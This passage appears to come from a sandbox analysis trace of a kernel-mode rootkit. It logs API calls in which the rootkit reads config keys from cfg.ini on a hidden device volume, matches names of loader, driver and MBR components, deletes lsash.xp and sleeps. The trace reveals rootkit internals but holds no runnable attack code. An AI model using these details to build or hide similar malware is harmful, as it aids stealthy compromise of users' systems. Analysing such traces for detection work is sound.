FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.105] KeLeaveCriticalRegion () [0119.105] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.105] KeEnterCriticalRegion () [0119.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.105] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.105] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.105] KeLeaveCriticalRegion () [0119.105] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.105] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.105] KeEnterCriticalRegion () [0119.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.105] ExFreePoolWithTag (P=0xfffffa8003ba04e0, Tag=0x0) [0119.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.105] KeLeaveCriticalRegion () [0119.105] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.105] ReleaseMutex (hMutex=0xf0) returned 1 [0119.105] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.106] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.106] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.106] KeEnterCriticalRegion () [0119.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.106] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.106] IdePortDispatch () returned 0x103 [0119.106] KeWaitForMutexObject () returned 0x0 [0119.106] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.106] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.106] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.106] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.106] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.106] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf240 [0119.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.106] KeLeaveCriticalRegion () [0119.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.106] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.106] KeEnterCriticalRegion () [0119.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.106] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.106] KeLeaveCriticalRegion () [0119.107] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.107] KeEnterCriticalRegion () [0119.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.107] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.107] IdePortDispatch () returned 0x103 [0119.107] KeWaitForMutexObject () returned 0x0 [0119.107] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.107] KeLeaveCriticalRegion () [0119.107] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.107] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.107] KeEnterCriticalRegion () [0119.107] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.107] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c69000 [0119.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.107] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.107] IdePortDispatch () returned 0x103 [0119.108] KeWaitForMutexObject () returned 0x0 [0119.108] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.108] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.108] IdePortDispatch () returned 0x103 [0119.108] KeWaitForMutexObject () returned 0x0 [0119.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.108] KeLeaveCriticalRegion () [0119.108] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.109] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.109] KeEnterCriticalRegion () [0119.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.109] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.109] KeLeaveCriticalRegion () [0119.109] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.109] KeEnterCriticalRegion () [0119.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.109] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.109] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d67f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.109] KeLeaveCriticalRegion () [0119.109] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.109] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.109] KeEnterCriticalRegion () [0119.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.109] ExFreePoolWithTag (P=0xfffffa8003bbf240, Tag=0x0) [0119.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.109] KeLeaveCriticalRegion () [0119.109] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.109] ReleaseMutex (hMutex=0xf0) returned 1 [0119.109] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.109] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.109] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.110] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.110] KeEnterCriticalRegion () [0119.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.110] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.110] IdePortDispatch () returned 0x103 [0119.110] KeWaitForMutexObject () returned 0x0 [0119.110] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.110] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.110] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.110] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.110] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.110] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.110] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.110] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.110] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.110] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.110] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.110] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.110] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.110] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.110] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.110] KeLeaveCriticalRegion () [0119.110] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.110] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.111] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.111] KeEnterCriticalRegion () [0119.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.111] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.111] IdePortDispatch () returned 0x103 [0119.111] KeWaitForMutexObject () returned 0x0 [0119.111] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.111] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.111] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.111] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.111] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.111] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.111] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.111] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.111] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.111] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.111] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.111] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.111] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.111] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.111] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.111] KeLeaveCriticalRegion () [0119.111] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.111] ReleaseMutex (hMutex=0x100) returned 1 [0119.112] Sleep (dwMilliseconds=0x2bf20) [0119.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a329b50, dwHighDateTime=0x1d24fa4)) [0119.121] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.121] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.121] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.121] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.121] KeEnterCriticalRegion () [0119.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.121] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.121] IdePortDispatch () returned 0x103 [0119.121] KeWaitForMutexObject () returned 0x0 [0119.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.121] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.121] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.121] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.121] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.121] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa86f0 [0119.121] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.122] KeLeaveCriticalRegion () [0119.122] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.122] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.122] KeEnterCriticalRegion () [0119.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.122] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.122] KeLeaveCriticalRegion () [0119.122] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.122] KeEnterCriticalRegion () [0119.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.122] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.122] IdePortDispatch () returned 0x103 [0119.122] KeWaitForMutexObject () returned 0x0 [0119.122] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.122] KeLeaveCriticalRegion () [0119.122] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.122] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.122] KeEnterCriticalRegion () [0119.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.123] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c6c000 [0119.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.123] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.123] IdePortDispatch () returned 0x103 [0119.123] KeWaitForMutexObject () returned 0x0 [0119.123] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.123] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.123] IdePortDispatch () returned 0x103 [0119.123] KeWaitForMutexObject () returned 0x0 [0119.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.123] KeLeaveCriticalRegion () [0119.123] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.124] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.124] KeEnterCriticalRegion () [0119.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.124] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.124] KeLeaveCriticalRegion () [0119.124] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.124] KeEnterCriticalRegion () [0119.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.124] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.124] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb6a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.124] KeLeaveCriticalRegion () [0119.124] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.124] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.124] KeEnterCriticalRegion () [0119.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.124] ExFreePoolWithTag (P=0xfffffa8003aa86f0, Tag=0x0) [0119.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.125] KeLeaveCriticalRegion () [0119.125] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.125] ReleaseMutex (hMutex=0xf0) returned 1 [0119.125] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.125] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.125] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.125] KeEnterCriticalRegion () [0119.125] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.125] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.125] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.125] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.125] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.125] IdePortDispatch () returned 0x103 [0119.125] KeWaitForMutexObject () returned 0x0 [0119.125] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.125] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.125] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.125] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.125] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.125] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa8590 [0119.125] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.125] KeLeaveCriticalRegion () [0119.125] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.125] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.126] KeEnterCriticalRegion () [0119.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.126] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.126] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.126] KeLeaveCriticalRegion () [0119.126] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.126] KeEnterCriticalRegion () [0119.126] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.126] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.126] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.126] 